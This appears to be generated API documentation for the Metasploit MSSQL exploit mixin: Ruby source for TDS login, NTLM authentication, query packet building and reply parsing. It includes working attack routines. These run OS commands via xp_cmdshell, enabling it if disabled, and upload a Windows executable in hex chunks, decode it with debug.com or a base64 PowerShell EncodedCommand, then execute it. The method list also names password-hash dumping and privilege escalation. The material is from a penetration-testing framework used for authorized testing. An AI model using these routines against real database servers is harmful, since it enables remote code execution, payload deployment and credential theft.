Module: Msf::Exploit::Remote::MSSQL

Includes:
Exploit::Remote::NTLM::Client, MSSQL_COMMANDS, Tcp, Udp
Defined in:
lib/msf/core/exploit/remote/mssql.rb

Overview

This module exposes methods for querying a remote MSSQL service

Constant Summary collapse

ENCRYPT_OFF =

Encryption

0x00
ENCRYPT_ON =

Encryption is available but off.

0x01
ENCRYPT_NOT_SUP =

Encryption is available and on.

0x02
ENCRYPT_REQ =

Encryption is not available.

0x03
TYPE_SQL_BATCH =

Packet Type

1
TYPE_PRE_TDS7_LOGIN =

(Client) SQL command

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TYPE_RPC =

(Client) Pre-login with version < 7 (unused)

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TYPE_TABLE_RESPONSE =

(Client) RPC

4
TYPE_ATTENTION_SIGNAL =

Request Completion, Error and Info Messages, Attention Acknowledgement

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TYPE_BULK_LOAD =

(Client) Attention

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TYPE_TRANSACTION_MANAGER_REQUEST =

(Client) SQL Command with binary data

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TYPE_TDS7_LOGIN =

(Client) Transaction request manager

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TYPE_SSPI_MESSAGE =

(Client) Login

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TYPE_PRE_LOGIN_MESSAGE =

(Client) Login

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STATUS_NORMAL =

Status

0x00
STATUS_END_OF_MESSAGE = 
0x01
STATUS_IGNORE_EVENT = 
0x02
STATUS_RESETCONNECTION =

TDS 7.1+

0x08
STATUS_RESETCONNECTIONSKIPTRAN =

TDS 7.3+

0x10

Instance Attribute Summary

Attributes included from Tcp

#sock

Attributes included from Udp

#udp_sock

Instance Method Summary collapse

Methods included from Tcp

#chost, #cleanup, #connect, #connect_timeout, #cport, #disconnect, #handler, #lhost, #lport, #peer, #print_prefix, #proxies, #rhost, #rport, #set_tcp_evasions, #shutdown, #ssl, #ssl_cipher, #ssl_verify_mode, #ssl_version

Methods included from Udp

#chost, #cleanup, #connect_udp, #cport, #deregister_udp_options, #disconnect_udp, #handler, #lhost, #lport, #rhost, #rport

Methods included from MSSQL_COMMANDS

#mssql_2k5_password_hashes, #mssql_2k_password_hashes, #mssql_current_user_escalation, #mssql_db_names, #mssql_enumerate_servername, #mssql_is_sysadmin, #mssql_rdp_enable, #mssql_rebuild_xpcmdshell, #mssql_sa_escalation, #mssql_sql_info, #mssql_sql_xpcmdshell_disable_2000, #mssql_xpcmdshell_disable, #mssql_xpcmdshell_enable, #mssql_xpcmdshell_enable_2000

Instance Method Details

#initialize(info = {}) ⇒ Object

Creates an instance of a MSSQL exploit module.


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# File 'lib/msf/core/exploit/remote/mssql.rb', line 45

def initialize(info = {})
  super

  # Register the options that all MSSQL exploits may make use of.
  register_options(
    [
      Opt::RHOST,
      Opt::RPORT(1433),
      OptString.new('USERNAME', [ false, 'The username to authenticate as', 'sa']),
      OptString.new('PASSWORD', [ false, 'The password for the specified username', '']),
      OptBool.new('TDSENCRYPTION', [ true, 'Use TLS/SSL for TDS data "Force Encryption"', false]),
      OptBool.new('USE_WINDOWS_AUTHENT', [ true, 'Use windows authentification (requires DOMAIN option set)', false]),
    ], Msf::Exploit::Remote::MSSQL)
  register_advanced_options(
    [
      OptPath.new('HEX2BINARY',   [ false, "The path to the hex2binary script on the disk",
        File.join(Msf::Config.data_directory, "exploits", "mssql", "h2b")
      ]),
      OptString.new('DOMAIN', [ true, 'The domain to use for windows authentication', 'WORKSTATION'])
    ], Msf::Exploit::Remote::MSSQL)
  register_autofilter_ports([ 1433, 1434, 1435, 14330, 2533, 9152, 2638 ])
  register_autofilter_services(%W{ ms-sql-s ms-sql2000 sybase })
end

#mssql_login(user = 'sa', pass = '', db = '') ⇒ Object

This method connects to the server over TCP and attempts to authenticate with the supplied username and password The global socket is used and left connected after auth


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# File 'lib/msf/core/exploit/remote/mssql.rb', line 363

def (user='sa', pass='', db='')

  disconnect if self.sock
  connect

  begin
    # Send a prelogin packet and check that encryption is not enabled
    if mssql_prelogin != ENCRYPT_NOT_SUP
      print_error('Encryption is not supported')
      return false
    end
  rescue EOFError
    print_error('Probable server or network failure')
    return false
  end

  if datastore['USE_WINDOWS_AUTHENT']

    idx = 0
    pkt = ''
    pkt_hdr = ''
    pkt_hdr =  [
        TYPE_TDS7_LOGIN, #type
        STATUS_END_OF_MESSAGE, #status
        0x0000, #length
        0x0000, # SPID
        0x01,   # PacketID (unused upon specification
          # but ms network monitor stil prefer 1 to decode correctly, wireshark don't care)
        0x00   #Window
        ]

    pkt << [
      0x00000000,   # Size
      0x71000001,   # TDS Version
      0x00000000,   # Dummy Size
      0x00000007,   # Version
      rand(1024+1), # PID
      0x00000000,   # ConnectionID
      0xe0,         # Option Flags 1
      0x83,         # Option Flags 2
      0x00,         # SQL Type Flags
      0x00,         # Reserved Flags
      0x00000000,   # Time Zone
      0x00000000    # Collation
    ].pack('VVVVVVCCCCVV')

    cname = Rex::Text.to_unicode( Rex::Text.rand_text_alpha(rand(8)+1) )
    aname = Rex::Text.to_unicode( Rex::Text.rand_text_alpha(rand(8)+1) ) #application and library name
    sname = Rex::Text.to_unicode( rhost )
    dname = Rex::Text.to_unicode( db )

    workstation_name = Rex::Text.rand_text_alpha(rand(8)+1)

    ntlm_client = ::Net::NTLM::Client.new(
      user,
      pass,
      workstation: workstation_name,
      domain: datastore['DOMAIN'],
    )
    type1 = ntlm_client.init_context
    # SQL 2012, at least, does not support KEY_EXCHANGE
    type1.flag &= ~ ::Net::NTLM::FLAGS[:KEY_EXCHANGE]
    ntlmsspblob = type1.serialize

    idx = pkt.size + 50 # lengths below

    pkt << [idx, cname.length / 2].pack('vv')
    idx += cname.length

    pkt << [0, 0].pack('vv') # User length offset must be 0
    pkt << [0, 0].pack('vv') # Password length offset must be 0

    pkt << [idx, aname.length / 2].pack('vv')
    idx += aname.length

    pkt << [idx, sname.length / 2].pack('vv')
    idx += sname.length

    pkt << [0, 0].pack('vv') # unused

    pkt << [idx, aname.length / 2].pack('vv')
    idx += aname.length

    pkt << [idx, 0].pack('vv') # locales

    pkt << [idx, 0].pack('vv') #db

    # ClientID (should be mac address)
    pkt << Rex::Text.rand_text(6)

    # NTLMSSP
    pkt << [idx, ntlmsspblob.length].pack('vv')
    idx += ntlmsspblob.length

    pkt << [idx, 0].pack('vv') # AtchDBFile

    pkt << cname
    pkt << aname
    pkt << sname
    pkt << aname
    pkt << ntlmsspblob

    # Total packet length
    pkt[0, 4] = [pkt.length].pack('V')

    pkt_hdr[2] = pkt.length + 8

    pkt = pkt_hdr.pack("CCnnCC") + pkt

    # Rem : One have to set check_status to false here because sql server sp0 (and maybe above)
    # has a strange behavior that differs from the specifications
    # upon receiving the ntlm_negociate request it send an ntlm_challenge but the status flag of the tds packet header
    # is set to STATUS_NORMAL and not STATUS_END_OF_MESSAGE, then internally it waits for the ntlm_authentification
    resp = mssql_send_recv(pkt, 15, false)

    unless resp.include?("NTLMSSP")
      info = {:errors => []}
      mssql_parse_reply(resp, info)
      mssql_print_reply(info)
      return false
    end

    # Get default data
    resp = resp[3..-1]
    type3 = ntlm_client.init_context([resp].pack('m'))
    type3_blob = type3.serialize

    # Create an SSPIMessage
    idx = 0
    pkt = ''
    pkt_hdr = ''
    pkt_hdr = [
      TYPE_SSPI_MESSAGE, #type
      STATUS_END_OF_MESSAGE, #status
      0x0000, #length
      0x0000, # SPID
      0x01, # PacketID
      0x00 #Window
    ]

    pkt_hdr[2] = type3_blob.length + 8

    pkt = pkt_hdr.pack("CCnnCC") + type3_blob

    resp = mssql_send_recv(pkt)


  #SQL Server Authentification
  else
    idx = 0
    pkt = ''
    pkt << [
      0x00000000,   # Dummy size

      0x71000001,   # TDS Version
      0x00000000,   # Size
      0x00000007,   # Version
      rand(1024+1), # PID
      0x00000000,   # ConnectionID
      0xe0,         # Option Flags 1
      0x03,         # Option Flags 2
      0x00,         # SQL Type Flags
      0x00,         # Reserved Flags
      0x00000000,   # Time Zone
      0x00000000    # Collation
    ].pack('VVVVVVCCCCVV')


    cname = Rex::Text.to_unicode( Rex::Text.rand_text_alpha(rand(8)+1) )
    uname = Rex::Text.to_unicode( user )
    pname = mssql_tds_encrypt( pass )
    aname = Rex::Text.to_unicode( Rex::Text.rand_text_alpha(rand(8)+1) )
    sname = Rex::Text.to_unicode( rhost )
    dname = Rex::Text.to_unicode( db )

    idx = pkt.size + 50 # lengths below

    pkt << [idx, cname.length / 2].pack('vv')
    idx += cname.length

    pkt << [idx, uname.length / 2].pack('vv')
    idx += uname.length

    pkt << [idx, pname.length / 2].pack('vv')
    idx += pname.length

    pkt << [idx, aname.length / 2].pack('vv')
    idx += aname.length

    pkt << [idx, sname.length / 2].pack('vv')
    idx += sname.length

    pkt << [0, 0].pack('vv')

    pkt << [idx, aname.length / 2].pack('vv')
    idx += aname.length

    pkt << [idx, 0].pack('vv')

    pkt << [idx, dname.length / 2].pack('vv')
    idx += dname.length

    # The total length has to be embedded twice more here
    pkt << [
      0,
      0,
      0x12345678,
      0x12345678
    ].pack('vVVV')

    pkt << cname
    pkt << uname
    pkt << pname
    pkt << aname
    pkt << sname
    pkt << aname
    pkt << dname

    # Total packet length
    pkt[0, 4] = [pkt.length].pack('V')

    # Embedded packet lengths
    pkt[pkt.index([0x12345678].pack('V')), 8] = [pkt.length].pack('V') * 2

    # Packet header and total length including header
    pkt = "\x10\x01" + [pkt.length + 8].pack('n') + [0].pack('n') + [1].pack('C') + "\x00" + pkt

    begin
      resp = mssql_send_recv(pkt)
    rescue EOFError
      print_error('Probable server or network failure')
      return false
    end
  end

  info = {:errors => []}
  info = mssql_parse_reply(resp, info)

  return false if not info
  info[:login_ack] ? true : false
end

#mssql_login_datastore(db = '') ⇒ Object

Login to the SQL server using the standard USERNAME/PASSWORD options


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# File 'lib/msf/core/exploit/remote/mssql.rb', line 608

def (db='')
  (datastore['USERNAME'], datastore['PASSWORD'], db)
end

#mssql_parse_done(data, info) ⇒ Object

Parse a “done” TDS token


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# File 'lib/msf/core/exploit/remote/mssql.rb', line 885

def mssql_parse_done(data, info)
  status, cmd, rows = data.slice!(0, 8).unpack('vvV')
  info[:done] = { :status => status, :cmd => cmd, :rows => rows }
  info
end

#mssql_parse_env(data, info) ⇒ Object

Parse an “environment change” TDS token


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# File 'lib/msf/core/exploit/remote/mssql.rb', line 909

def mssql_parse_env(data, info)
  len  = data.slice!(0, 2).unpack('v')[0]
  buff = data.slice!(0, len)
  type = buff.slice!(0, 1).unpack('C')[0]

  nval = ''
  nlen = buff.slice!(0, 1).unpack('C')[0] || 0
  nval = buff.slice!(0, nlen * 2).gsub("\x00", '') if nlen > 0

  oval = ''
  olen = buff.slice!(0, 1).unpack('C')[0] || 0
  oval = buff.slice!(0, olen * 2).gsub("\x00", '') if olen > 0

  info[:envs] ||= []
  info[:envs] << { :type => type, :old => oval, :new => nval }
  info
end

#mssql_parse_error(data, info) ⇒ Object

Parse an “error” TDS token


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# File 'lib/msf/core/exploit/remote/mssql.rb', line 894

def mssql_parse_error(data, info)
  len  = data.slice!(0, 2).unpack('v')[0]
  buff = data.slice!(0, len)

  errno, state, sev, elen = buff.slice!(0, 8).unpack('VCCv')
  emsg = buff.slice!(0, elen * 2)
  emsg.gsub!("\x00", '')

  info[:errors] << "SQL Server Error ##{errno} (State:#{state} Severity:#{sev}): #{emsg}"
  info
end

#mssql_parse_info(data, info) ⇒ Object

Parse an “information” TDS token


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# File 'lib/msf/core/exploit/remote/mssql.rb', line 930

def mssql_parse_info(data, info)
  len  = data.slice!(0, 2).unpack('v')[0]
  buff = data.slice!(0, len)

  errno, state, sev, elen = buff.slice!(0, 8).unpack('VCCv')
  emsg = buff.slice!(0, elen * 2)
  emsg.gsub!("\x00", '')

  info[:infos] ||= []
  info[:infos] << "SQL Server Info ##{errno} (State:#{state} Severity:#{sev}): #{emsg}"
  info
end

#mssql_parse_login_ack(data, info) ⇒ Object

Parse a “login ack” TDS token


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# File 'lib/msf/core/exploit/remote/mssql.rb', line 946

def (data, info)
  len = data.slice!(0, 2).unpack('v')[0]
  _buff = data.slice!(0, len)
  info[:login_ack] = true
end

#mssql_parse_reply(data, info) ⇒ Object

Parse individual tokens from a TDS reply


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# File 'lib/msf/core/exploit/remote/mssql.rb', line 758

def mssql_parse_reply(data, info)
  info[:errors] = []
  return if not data
  until data.empty?
    token = data.slice!(0, 1).unpack('C')[0]
    case token
    when 0x81
      mssql_parse_tds_reply(data, info)
    when 0xd1
      mssql_parse_tds_row(data, info)
    when 0xe3
      mssql_parse_env(data, info)
    when 0x79
      mssql_parse_ret(data, info)
    when 0xfd, 0xfe, 0xff
      mssql_parse_done(data, info)
    when 0xad
      (data, info)
    when 0xab
      mssql_parse_info(data, info)
    when 0xaa
      mssql_parse_error(data, info)
    when nil
      break
    else
      info[:errors] << "unsupported token: #{token}"
    end
  end
  info
end

#mssql_parse_ret(data, info) ⇒ Object

Parse a “ret” TDS token


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# File 'lib/msf/core/exploit/remote/mssql.rb', line 876

def mssql_parse_ret(data, info)
  ret = data.slice!(0, 4).unpack('N')[0]
  info[:ret] = ret
  info
end

#mssql_parse_tds_reply(data, info) ⇒ Object

Parse a raw TDS reply from the server


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# File 'lib/msf/core/exploit/remote/mssql.rb', line 683

def mssql_parse_tds_reply(data, info)
  info[:errors] ||= []
  info[:colinfos] ||= []
  info[:colnames] ||= []

  # Parse out the columns
  cols = data.slice!(0, 2).unpack('v')[0]
  0.upto(cols-1) do |col_idx|
    col = {}
    info[:colinfos][col_idx] = col

    col[:utype] = data.slice!(0, 2).unpack('v')[0]
    col[:flags] = data.slice!(0, 2).unpack('v')[0]
    col[:type]  = data.slice!(0, 1).unpack('C')[0]

    case col[:type]
    when 48
      col[:id] = :tinyint

    when 52
      col[:id] = :smallint

    when 56
      col[:id] = :rawint

    when 61
      col[:id] = :datetime

    when 34
      col[:id]            = :image
      col[:max_size]      = data.slice!(0, 4).unpack('V')[0]
      col[:value_length]  = data.slice!(0, 2).unpack('v')[0]
      col[:value]         = data.slice!(0, col[:value_length]  * 2).gsub("\x00", '')

    when 36
      col[:id] = :string

    when 38
      col[:id] = :int
      col[:int_size] = data.slice!(0, 1).unpack('C')[0]

    when 127
      col[:id] = :bigint

    when 165
      col[:id] = :hex
      col[:max_size] = data.slice!(0, 2).unpack('v')[0]

    when 173
      col[:id] = :hex # binary(2)
      col[:max_size] = data.slice!(0, 2).unpack('v')[0]

    when 231, 175, 167, 239
      col[:id] = :string
      col[:max_size] = data.slice!(0, 2).unpack('v')[0]
      col[:codepage] = data.slice!(0, 2).unpack('v')[0]
      col[:cflags] = data.slice!(0, 2).unpack('v')[0]
      col[:charset_id] =  data.slice!(0, 1).unpack('C')[0]

    else
      col[:id] = :unknown
    end

    col[:msg_len] = data.slice!(0, 1).unpack('C')[0]

    if col[:msg_len] && col[:msg_len] > 0
      col[:name] = data.slice!(0, col[:msg_len] * 2).gsub("\x00", '')
    end
    info[:colnames] << (col[:name] || 'NULL')
  end
end

#mssql_parse_tds_row(data, info) ⇒ Object

Parse a single row of a TDS reply


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# File 'lib/msf/core/exploit/remote/mssql.rb', line 792

def mssql_parse_tds_row(data, info)
  info[:rows] ||= []
  row = []

  info[:colinfos].each do |col|

    if(data.length == 0)
      row << "<EMPTY>"
      next
    end

    case col[:id]
    when :hex
      str = ""
      len = data.slice!(0, 2).unpack('v')[0]
      if len > 0 && len < 65535
        str << data.slice!(0, len)
      end
      row << str.unpack("H*")[0]

    when :string
      str = ""
      len = data.slice!(0, 2).unpack('v')[0]
      if len > 0 && len < 65535
        str << data.slice!(0, len)
      end
      row << str.gsub("\x00", '')

    when :datetime
      row << data.slice!(0, 8).unpack("H*")[0]

    when :rawint
      row << data.slice!(0, 4).unpack('V')[0]

    when :bigint
      row << data.slice!(0, 8).unpack("H*")[0]

    when :smallint
      row << data.slice!(0, 2).unpack("v")[0]

    when :smallint3
      row << [data.slice!(0, 3)].pack("Z4").unpack("V")[0]

    when :tinyint
      row << data.slice!(0, 1).unpack("C")[0]

    when :image
      str = ''
      len = data.slice!(0, 1).unpack('C')[0]
      str = data.slice!(0, len) if len && len > 0
      row << str.unpack("H*")[0]

    when :int
      len = data.slice!(0, 1).unpack("C")[0]
      raw = data.slice!(0, len) if len && len > 0

      case len
      when 0, 255
        row << ''
      when 1
        row << raw.unpack("C")[0]
      when 2
        row << raw.unpack('v')[0]
      when 4
        row << raw.unpack('V')[0]
      when 5
        row << raw.unpack('V')[0] # XXX: missing high byte
      when 8
        row << raw.unpack('VV')[0] # XXX: missing high dword
      else
        info[:errors] << "invalid integer size: #{len} #{data[0, 16].unpack("H*")[0]}"
      end
    else
      info[:errors] << "unknown column type: #{col.inspect}"
    end
  end

  info[:rows] << row
  info
end

#mssql_ping(timeout = 5) ⇒ Object

This method sends a UDP query packet to the server and parses out the reply packet into a hash


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# File 'lib/msf/core/exploit/remote/mssql.rb', line 74

def mssql_ping(timeout=5)
  data = { }

  ping_sock = Rex::Socket::Udp.create(
    'PeerHost'  => rhost,
    'PeerPort'  => 1434,
    'Context'   =>
      {
        'Msf'        => framework,
        'MsfExploit' => self,
      })

  ping_sock.put("\x02")
  resp, _saddr, _sport = ping_sock.recvfrom(65535, timeout)
  ping_sock.close

  return data if not resp
  return data if resp.length == 0

  return mssql_ping_parse(resp)
end

#mssql_ping_parse(data) ⇒ Object

Parse a 'ping' response and format as a hash


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# File 'lib/msf/core/exploit/remote/mssql.rb', line 99

def mssql_ping_parse(data)
  res = []
  var = nil
  idx = data.index('ServerName')
  return res if not idx
  sdata = data[idx, (data.length - 1)]

  instances = sdata.split(';;')
  instances.each do |instance|
    rinst = {}
    instance.split(';').each do |d|
      if (not var)
        var = d
      else
        if (var.length > 0)
          rinst[var] = d
          var = nil
        end
      end
    end
    res << rinst
  end

  return res
end

#mssql_prelogin(enc_error = false) ⇒ Object

this method send a prelogin packet and check if encryption is off


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# File 'lib/msf/core/exploit/remote/mssql.rb', line 277

def mssql_prelogin(enc_error=false)

  pkt = ""
  pkt_hdr = ""
  pkt_data_token = ""
  pkt_data = ""


  pkt_hdr =  [
    TYPE_PRE_LOGIN_MESSAGE, #type
    STATUS_END_OF_MESSAGE, #status
    0x0000, #length
    0x0000, # SPID
    0x00, # PacketID
    0x00 #Window
  ]

  version = [0x55010008, 0x0000].pack("Vv")
  encryption = ENCRYPT_NOT_SUP # off
  instoptdata = "MSSQLServer\0"

  threadid =   "\0\0" + Rex::Text.rand_text(2)

  idx = 21 # size of pkt_data_token
  pkt_data_token <<  [
    0x00, # Token 0 type Version
    idx, # VersionOffset
    version.length, # VersionLength

    0x01, # Token 1 type Encryption
    idx = idx + version.length, # EncryptionOffset
    0x01, # EncryptionLength

    0x02, # Token 2 type InstOpt
    idx = idx + 1, # InstOptOffset
    instoptdata.length, # InstOptLength

    0x03, # Token 3 type Threadid
    idx + instoptdata.length, # ThreadIdOffset
    0x04, # ThreadIdLength

    0xFF
  ].pack("CnnCnnCnnCnnC")

  pkt_data << pkt_data_token
  pkt_data << version
  pkt_data << encryption
  pkt_data << instoptdata
  pkt_data << threadid

  pkt_hdr[2] = pkt_data.length + 8

  pkt = pkt_hdr.pack("CCnnCC") + pkt_data

  resp = mssql_send_recv(pkt)

  idx = 0

  while resp && resp[0, 1] != "\xff" && resp.length > 5
    token = resp.slice!(0, 5)
    token = token.unpack("Cnn")
    idx -= 5
    if token[0] == 0x01
      idx += token[1]
      break
    end
  end

  if idx > 0
    encryption_mode = resp[idx, 1].unpack("C")[0]
  else
    # force to ENCRYPT_NOT_SUP and hope for the best
    encryption_mode = ENCRYPT_NOT_SUP
  end

  if encryption_mode != ENCRYPT_NOT_SUP && enc_error
    raise RuntimeError,"Encryption is not supported"
  end
  encryption_mode
end

#mssql_print_reply(info) ⇒ Object

Nicely print the results of a SQL query


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# File 'lib/msf/core/exploit/remote/mssql.rb', line 648

def mssql_print_reply(info)

  print_status("SQL Query: #{info[:sql]}")

  if info[:done] && info[:done][:rows].to_i > 0
    print_status("Row Count: #{info[:done][:rows]} (Status: #{info[:done][:status]} Command: #{info[:done][:cmd]})")
  end

  if info[:errors] && !info[:errors].empty?
    info[:errors].each do |err|
      print_error(err)
    end
  end

  if info[:rows] && !info[:rows].empty?

    tbl = Rex::Text::Table.new(
      'Indent'    => 1,
      'Header'    => "",
      'Columns'   => info[:colnames],
      'SortIndex' => -1
    )

    info[:rows].each do |row|
      tbl << row
    end

    print_line(tbl.to_s)
  end
end

#mssql_query(sqla, doprint = false, opts = {}) ⇒ Object

Issue a SQL query using the TDS protocol


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# File 'lib/msf/core/exploit/remote/mssql.rb', line 615

def mssql_query(sqla, doprint=false, opts={})
  info = { :sql => sqla }

  opts[:timeout] ||= 15

  pkts = []
  idx  = 0

  bsize = 4096 - 8
  chan  = 0

  @cnt ||= 0
  @cnt += 1

  sql = Rex::Text.to_unicode(sqla)
  while(idx < sql.length)
    buf = sql[idx, bsize]
    flg = buf.length < bsize ? "\x01" : "\x00"
    pkts << "\x01" + flg + [buf.length + 8].pack('n') + [chan].pack('n') + [@cnt].pack('C') + "\x00" + buf
    idx += bsize

  end

  resp = mssql_send_recv(pkts.join, opts[:timeout])
  mssql_parse_reply(resp, info)
  mssql_print_reply(info) if doprint
  info
end

#mssql_send_recv(req, timeout = 15, check_status = true) ⇒ Object

Send and receive using TDS


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# File 'lib/msf/core/exploit/remote/mssql.rb', line 231

def mssql_send_recv(req, timeout=15, check_status = true)
  sock.put(req)

  # Read the 8 byte header to get the length and status
  # Read the length to get the data
  # If the status is 0, read another header and more data

  done = false
  resp = ""

  while(not done)
    head = sock.get_once(8, timeout)
    if !(head && head.length == 8)
      return false
    end

    # Is this the last buffer?
    if(head[1, 1] == "\x01" or not check_status )
      done = true
    end

    # Grab this block's length
    rlen = head[2, 2].unpack('n')[0] - 8

    while(rlen > 0)
      buff = sock.get_once(rlen, timeout)
      return if not buff
      resp << buff
      rlen -= buff.length
    end
  end

  resp
end

#mssql_tds_encrypt(pass) ⇒ Object

Encrypt a password according to the TDS protocol (encode)


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# File 'lib/msf/core/exploit/remote/mssql.rb', line 269

def mssql_tds_encrypt(pass)
  # Convert to unicode, swap 4 bits both ways, xor with 0xa5
  Rex::Text.to_unicode(pass).unpack('C*').map {|c| (((c & 0x0f) << 4) + ((c & 0xf0) >> 4)) ^ 0xa5 }.pack("C*")
end

#mssql_upload_exec(exe, debug = false) ⇒ Object

Upload and execute a Windows binary through MSSQL queries


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# File 'lib/msf/core/exploit/remote/mssql.rb', line 161

def mssql_upload_exec(exe, debug=false)
  hex = exe.unpack("H*")[0]

  var_bypass  = rand_text_alpha(8)
  var_payload = rand_text_alpha(8)

  print_status("Warning: This module will leave #{var_payload}.exe in the SQL Server %TEMP% directory")
  print_status("Writing the debug.com loader to the disk...")
  h2b = File.read(datastore['HEX2BINARY'], File.size(datastore['HEX2BINARY']))
  h2b.gsub!(/KemneE3N/, "%TEMP%\\#{var_bypass}")
  h2b.split(/\n/).each do |line|
    mssql_xpcmdshell("#{line}", false)
  end

  print_status("Converting the debug script to an executable...")
  mssql_xpcmdshell("cmd.exe /c cd %TEMP% && cd %TEMP% && debug < %TEMP%\\#{var_bypass}", debug)
  mssql_xpcmdshell("cmd.exe /c move %TEMP%\\#{var_bypass}.bin %TEMP%\\#{var_bypass}.exe", debug)

  print_status("Uploading the payload, please be patient...")
  idx = 0
  cnt = 500
  while(idx < hex.length - 1)
    mssql_xpcmdshell("cmd.exe /c echo #{hex[idx, cnt]}>>%TEMP%\\#{var_payload}", false)
    idx += cnt
  end

  print_status("Converting the encoded payload...")
  mssql_xpcmdshell("%TEMP%\\#{var_bypass}.exe %TEMP%\\#{var_payload}", debug)
  mssql_xpcmdshell("cmd.exe /c del %TEMP%\\#{var_bypass}.exe", debug)
  mssql_xpcmdshell("cmd.exe /c del %TEMP%\\#{var_payload}", debug)

  print_status("Executing the payload...")
  mssql_xpcmdshell("%TEMP%\\#{var_payload}.exe", false, {:timeout => 1})
end

#mssql_xpcmdshell(cmd, doprint = false, opts = {}) ⇒ Object

Execute a system command via xp_cmdshell


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# File 'lib/msf/core/exploit/remote/mssql.rb', line 128

def mssql_xpcmdshell(cmd, doprint=false, opts={})
  force_enable = false
  begin
    res = mssql_query("EXEC master..xp_cmdshell '#{cmd}'", false, opts)
    if res[:errors] && !res[:errors].empty?
      if res[:errors].join =~ /xp_cmdshell/
        if force_enable
          print_error("The xp_cmdshell procedure is not available and could not be enabled")
          raise RuntimeError, "Failed to execute command"
        else
          print_status("The server may have xp_cmdshell disabled, trying to enable it...")
          mssql_query(mssql_xpcmdshell_enable())
          raise RuntimeError, "xp_cmdshell disabled"
        end
      end
    end

    mssql_print_reply(res) if doprint

    return res

  rescue RuntimeError => e
    if e.to_s =~ /xp_cmdshell disabled/
      force_enable = true
      retry
    end
    raise e
  end
end

#powershell_upload_exec(exe, debug = false) ⇒ Object

Upload and execute a Windows binary through MSSQL queries and Powershell


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# File 'lib/msf/core/exploit/remote/mssql.rb', line 200

def powershell_upload_exec(exe, debug=false)

  # hex converter
  hex = exe.unpack("H*")[0]
  # create random alpha 8 character names
  #var_bypass  = rand_text_alpha(8)
  var_payload = rand_text_alpha(8)
  print_status("Warning: This module will leave #{var_payload}.exe in the SQL Server %TEMP% directory")
  # our payload converter, grabs a hex file and converts it to binary for us through powershell
  h2b = "$s = gc 'C:\\Windows\\Temp\\#{var_payload}';$s = [string]::Join('', $s);$s = $s.Replace('`r',''); $s = $s.Replace('`n','');$b = new-object byte[] $($s.Length/2);0..$($b.Length-1) | %{$b[$_] = [Convert]::ToByte($s.Substring($($_*2),2),16)};[IO.File]::WriteAllBytes('C:\\Windows\\Temp\\#{var_payload}.exe',$b)"
  h2b_unicode=Rex::Text.to_unicode(h2b)
  # base64 encode it, this allows us to perform execution through powershell without registry changes
  h2b_encoded = Rex::Text.encode_base64(h2b_unicode)
  print_status("Uploading the payload #{var_payload}, please be patient...")
  idx = 0
  cnt = 500
  while(idx < hex.length - 1)
    mssql_xpcmdshell("cmd.exe /c echo #{hex[idx, cnt]}>>%TEMP%\\#{var_payload}", false)
    idx += cnt
  end
  print_status("Converting the payload utilizing PowerShell EncodedCommand...")
  mssql_xpcmdshell("powershell -EncodedCommand #{h2b_encoded}", debug)
  mssql_xpcmdshell("cmd.exe /c del %TEMP%\\#{var_payload}", debug)
  print_status("Executing the payload...")
  mssql_xpcmdshell("%TEMP%\\#{var_payload}.exe", false, {:timeout => 1})
  print_status("Be sure to cleanup #{var_payload}.exe...")
end